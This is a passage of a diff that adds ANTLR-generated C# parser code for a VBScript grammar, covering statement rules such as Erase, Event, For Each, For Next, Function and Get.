{ + } + public override int RuleIndex { get { return RULE_eraseStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEraseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEraseStmt(this); + } + } + + [RuleVersion(0)] + public EraseStmtContext eraseStmt() { + EraseStmtContext _localctx = new EraseStmtContext(Context, State); + EnterRule(_localctx, 90, RULE_eraseStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1147; + Match(ERASE); + State = 1148; + Match(WS); + State = 1149; + valueStmt(0); + State = 1160; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,138,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1151; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1150; + Match(WS); + } + } + + State = 1153; + Match(COMMA); + State = 1155; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,137,Context) ) { + case 1: + { + State = 1154; + Match(WS); + } + break; + } + State = 1157; + valueStmt(0); + } + } + } + State = 1162; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,138,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ErrorStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ERROR() { return GetToken(VBScriptParser.ERROR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public ErrorStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_errorStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterErrorStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitErrorStmt(this); + } + } + + [RuleVersion(0)] + public ErrorStmtContext errorStmt() { + ErrorStmtContext _localctx = new ErrorStmtContext(Context, State); + EnterRule(_localctx, 92, RULE_errorStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1163; + Match(ERROR); + State = 1164; + Match(WS); + State = 1165; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EventStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EVENT() { return GetToken(VBScriptParser.EVENT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + public EventStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_eventStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEventStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEventStmt(this); + } + } + + [RuleVersion(0)] + public EventStmtContext eventStmt() { + EventStmtContext _localctx = new EventStmtContext(Context, State); + EnterRule(_localctx, 94, RULE_eventStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1170; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1167; + visibility(); + State = 1168; + Match(WS); + } + } + + State = 1172; + Match(EVENT); + State = 1173; + Match(WS); + State = 1174; + ambiguousIdentifier(); + State = 1176; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1175; + Match(WS); + } + } + + State = 1178; + argList(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ExitStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_DO() { return GetToken(VBScriptParser.EXIT_DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_FOR() { return GetToken(VBScriptParser.EXIT_FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_FUNCTION() { return GetToken(VBScriptParser.EXIT_FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_PROPERTY() { return GetToken(VBScriptParser.EXIT_PROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXIT_SUB() { return GetToken(VBScriptParser.EXIT_SUB, 0); } + public ExitStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_exitStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterExitStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitExitStmt(this); + } + } + + [RuleVersion(0)] + public ExitStmtContext exitStmt() { + ExitStmtContext _localctx = new ExitStmtContext(Context, State); + EnterRule(_localctx, 96, RULE_exitStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1180; + _la = TokenStream.LA(1); + if ( !(((((_la - 63)) & ~0x3f) == 0 && ((1L << (_la - 63)) & 31L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class FilecopyStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FILECOPY() { return GetToken(VBScriptParser.FILECOPY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public FilecopyStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_filecopyStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterFilecopyStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitFilecopyStmt(this); + } + } + + [RuleVersion(0)] + public FilecopyStmtContext filecopyStmt() { + FilecopyStmtContext _localctx = new FilecopyStmtContext(Context, State); + EnterRule(_localctx, 98, RULE_filecopyStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1182; + Match(FILECOPY); + State = 1183; + Match(WS); + State = 1184; + valueStmt(0); + State = 1186; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1185; + Match(WS); + } + } + + State = 1188; + Match(COMMA); + State = 1190; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,142,Context) ) { + case 1: + { + State = 1189; + Match(WS); + } + break; + } + State = 1192; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ForEachStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FOR() { return GetToken(VBScriptParser.FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EACH() { return GetToken(VBScriptParser.EACH, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext[] ambiguousIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode IN() { return GetToken(VBScriptParser.IN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public ForEachStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_forEachStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterForEachStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitForEachStmt(this); + } + } + + [RuleVersion(0)] + public ForEachStmtContext forEachStmt() { + ForEachStmtContext _localctx = new ForEachStmtContext(Context, State); + EnterRule(_localctx, 100, RULE_forEachStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1194; + Match(FOR); + State = 1195; + Match(WS); + State = 1196; + Match(EACH); + State = 1198; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1197; + Match(WS); + } + } + + State = 1200; + ambiguousIdentifier(); + State = 1202; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 1201; + typeHint(); + } + } + + State = 1205; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1204; + Match(WS); + } + } + + State = 1207; + Match(IN); + State = 1209; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,146,Context) ) { + case 1: + { + State = 1208; + Match(WS); + } + break; + } + State = 1211; + valueStmt(0); + State = 1213; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1212; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1215; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,147,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1223; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,149,Context) ) { + case 1: + { + State = 1217; + block(); + State = 1219; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1218; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1221; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1225; + Match(NEXT); + State = 1230; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,151,Context) ) { + case 1: + { + State = 1227; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1226; + Match(WS); + } + } + + State = 1229; + ambiguousIdentifier(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ForNextStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FOR() { return GetToken(VBScriptParser.FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext[] typeHint() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STEP() { return GetToken(VBScriptParser.STEP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public ForNextStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_forNextStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterForNextStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitForNextStmt(this); + } + } + + [RuleVersion(0)] + public ForNextStmtContext forNextStmt() { + ForNextStmtContext _localctx = new ForNextStmtContext(Context, State); + EnterRule(_localctx, 102, RULE_forNextStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1232; + Match(FOR); + State = 1233; + Match(WS); + State = 1234; + iCS_S_VariableOrProcedureCall(); + State = 1236; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 1235; + typeHint(); + } + } + + State = 1240; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,153,Context) ) { + case 1: + { + State = 1238; + Match(WS); + State = 1239; + asTypeClause(); + } + break; + } + State = 1243; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1242; + Match(WS); + } + } + + State = 1245; + Match(EQ); + State = 1247; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,155,Context) ) { + case 1: + { + State = 1246; + Match(WS); + } + break; + } + State = 1249; + valueStmt(0); + State = 1250; + Match(WS); + State = 1251; + Match(TO); + State = 1252; + Match(WS); + State = 1253; + valueStmt(0); + State = 1260; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STEP || _la==WS) { + { + State = 1255; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1254; + Match(WS); + } + } + + State = 1257; + Match(STEP); + State = 1258; + Match(WS); + State = 1259; + valueStmt(0); + } + } + + State = 1263; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1262; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1265; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,158,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1273; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,160,Context) ) { + case 1: + { + State = 1267; + block(); + State = 1269; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1268; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1271; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1275; + Match(NEXT); + State = 1281; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,162,Context) ) { + case 1: + { + State = 1276; + Match(WS); + State = 1277; + ambiguousIdentifier(); + State = 1279; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,161,Context) ) { + case 1: + { + State = 1278; + typeHint(); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class FunctionStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FUNCTION() { return GetToken(VBScriptParser.FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_FUNCTION() { return GetToken(VBScriptParser.END_FUNCTION, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFAULT() { return GetToken(VBScriptParser.DEFAULT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public FunctionStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_functionStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterFunctionStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitFunctionStmt(this); + } + } + + [RuleVersion(0)] + public FunctionStmtContext functionStmt() { + FunctionStmtContext _localctx = new FunctionStmtContext(Context, State); + EnterRule(_localctx, 104, RULE_functionStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1286; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1283; + visibility(); + State = 1284; + Match(WS); + } + } + + State = 1290; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==DEFAULT) { + { + State = 1288; + Match(DEFAULT); + State = 1289; + Match(WS); + } + } + + State = 1294; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 1292; + Match(STATIC); + State = 1293; + Match(WS); + } + } + + State = 1296; + Match(FUNCTION); + State = 1297; + Match(WS); + State = 1298; + ambiguousIdentifier(); + State = 1303; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,167,Context) ) { + case 1: + { + State = 1300; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1299; + Match(WS); + } + } + + State = 1302; + argList(); + } + break; + } + State = 1307; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,168,Context) ) { + case 1: + { + State = 1305; + Match(WS); + State = 1306; + asTypeClause(); + } + break; + } + State = 1310; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,169,Context) ) { + case 1: + { + State = 1309; + Match(WS); + } + break; + } + State = 1313; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1312; + _la = TokenStream.LA(1); + if ( !(((((_la - 219)) & ~0x3f) == 0 && ((1L << (_la - 219)) & 19L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1315; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,170,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1318; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,171,Context) ) { + case 1: + { + State = 1317; + Match(WS); + } + break; + } + State = 1332; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,174,Context) ) { + case 1: + { + State = 1320; + block(); + State = 1324; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==WS) { + { + { + State = 1321; + Match(WS); + } + } + State = 1326; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1328; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1327; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1330; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1337; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==WS) { + { + { + State = 1334; + Match(WS); + } + } + State = 1339; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1340; + Match(END_FUNCTION); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class GetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GET() { return GetToken(VBScriptParser.GET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public GetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_getStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterGetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitGetStmt(this); + } + } + + [RuleVersion(0)] + public GetStmtContext getStmt() { + GetStmtContext _localctx = new GetStmtContext(Context, State); + EnterRule(_localctx, 106, RULE_getStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1342; + Match(GET); + State = 1343; + Match(WS); + State = 1344; + valueStmt(0); + State = 1346; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1345; + Match(WS); + } + } + + State = 1348; + Match(COMMA); + State = 1350; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,177,Context) ) { + case 1: + { + State = 1349; + Match(WS); + } + break; + } + State = 1353; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,178,Context) ) { + case 1: + { + State = 1352; + valueStmt(0); + } + break; + } + State = 1356; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1355; + Match(WS); + } + } + + State = 1358; + Match(COMMA); + State = 1360; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,180,Context) ) { + case 1: + { + State = 1359; + Match(WS); + } + break; + } + State = 1362; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class GoSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOSUB() { return GetToken(VBScriptParser.GOSUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + 